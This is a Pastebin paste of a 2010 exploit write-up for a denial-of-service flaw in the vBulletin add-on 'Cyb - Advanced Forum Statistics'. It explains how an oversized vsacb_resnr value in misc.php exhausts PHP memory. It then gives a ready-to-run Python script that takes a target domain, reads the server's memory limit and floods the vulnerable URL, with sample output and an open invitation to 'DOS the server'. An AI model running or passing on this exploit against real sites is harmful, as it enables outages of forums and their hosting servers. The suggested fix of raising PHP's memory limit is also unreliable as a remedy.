Advertisement
Guest User

Untitled

a guest
Feb 7th, 2012
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.31 KB | None | 0 0
  1.  
  2. vBulletin "Cyb - Advanced Forum Statistics" DOS
  3. # Exploit Title: vBulletin "Cyb - Advanced Forum Statistics" DOS
  4. # Date: 10-4-2010
  5. # Author: Andhra Hackers
  6. # Software Link:
  7. # Version: Web Application
  8. # Tested on: Apcahe/Unix
  9. # CVE : [if exists]
  10. # Code :
  11.  
  12.  
  13. PHP crashes existed from a long time back and there were several issues which were a reason for that.
  14. 1)PHP pack() function bug has been there for about a long time, were if PHP try to allocate more memory more than generally allocated to PHP function then the the request is terminated and PHP exits/Crashes, this might even send a huge load to the server.
  15.  
  16. 2)PHP memory allocation is done via the php.ini file of PHP installation, So if we could make PHP try to load with more memmory than it could handle then we cold possibly crash php or even the server causing a huge CPU usage.
  17.  
  18. 3)A vulnerability exist in vBulletin add-on "Cyb - Advanced Forum Statistics" in the misc.php file show=latestposts&vsacb_resnr=, were application loads all latest 'n' no of post
  19. depending on (vsacb_resnr= n) value. As no of post "vsacb_resnr" is user specific,that means we could make vBulletin to load huge no of datas from DB causing it to run out of memory and crash PHP and huge load may crash hosted apache also and won't be able to recover easily.
  20.  
  21. Attached is exploit code which could easily crash a vBulletin which has got "Cyb - Advanced Forum Statistics" add-on installed.
  22. Either You could Use the attached exploit code to DOS the server or you could Simply move to the vulnerable page and
  23. sent simultaneous request by refreshing the page.
  24.  
  25.  
  26. An attacker could exploit this issue to crash the php installed and the crash might DOS the entire server for hours or attacker will be able to
  27. download php files from the server.
  28.  
  29. A quick fix for this is to modify php.ini config file and increase the Php allocated memory to a higher value.
  30.  
  31.  
  32. Exploit:
  33. import urllib,urllib2,re
  34. print "####################################"
  35. print "#[+]ICW 0-day Domain Crasher #"
  36. print "#[+] Exploit found by Yash [ICW] #"
  37. print "#[+] Exploit Coded by FB1H2S [ICW] #"
  38. print "#[+] Care-Taker d4rk-blu [ICW] #"
  39. print "#[+] Indian Cyber Warriors #"
  40. print "####################################\n"
  41. print "Enter Domain Adress:"
  42. domain=raw_input("[+]Ex: http://www.site.com<http://www.site.com>:")
  43. url ='http://'+domain+'/misc.php?show=latestposts&vsacb_resnr=10000000'
  44. res = urllib.urlopen(url).read(200)
  45. phpmem= re.findall('of (.*?)bytes.*?',res)
  46. bytes=int(phpmem[0])
  47. mb=bytes/1048576
  48. print '[+]Server php memmory is:'+str(mb)+' MB'
  49. print "[+]Enter the No of request you wann send:"
  50. kill=raw_input("Some 20-30 will be enough:")
  51. try:
  52. for i in range(1,int(kill)):
  53. print i
  54. res1 = urllib.urlopen(url).read(200)
  55. print res1
  56. except(IOError),msg: print "Server will be done by now"
  57.  
  58.  
  59. ################################################################
  60. C:\Python25>python vbexploit.py
  61. ####################################
  62. #[+]ICW 0-day Domain Crasher #
  63. #[+] Bug found by Yash [ICW] #
  64. #[+] Exploit Coded by FB1H2S [ICW] #
  65. #[+] Care-Taker d4rk-blu [ICW] #
  66. #[+] Indian Cyber Warriors #
  67. ####################################
  68.  
  69. Enter Domain Adress:
  70. [+]Ex: http://www.site.com<http://www.site.com>: sitehere
  71.  
  72. [+]Server php memmory is:32 MB
  73. [+]Enter the No of request you wann send:20
  74. 1
  75. 2
  76. 3
  77. Script will cause DOS.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement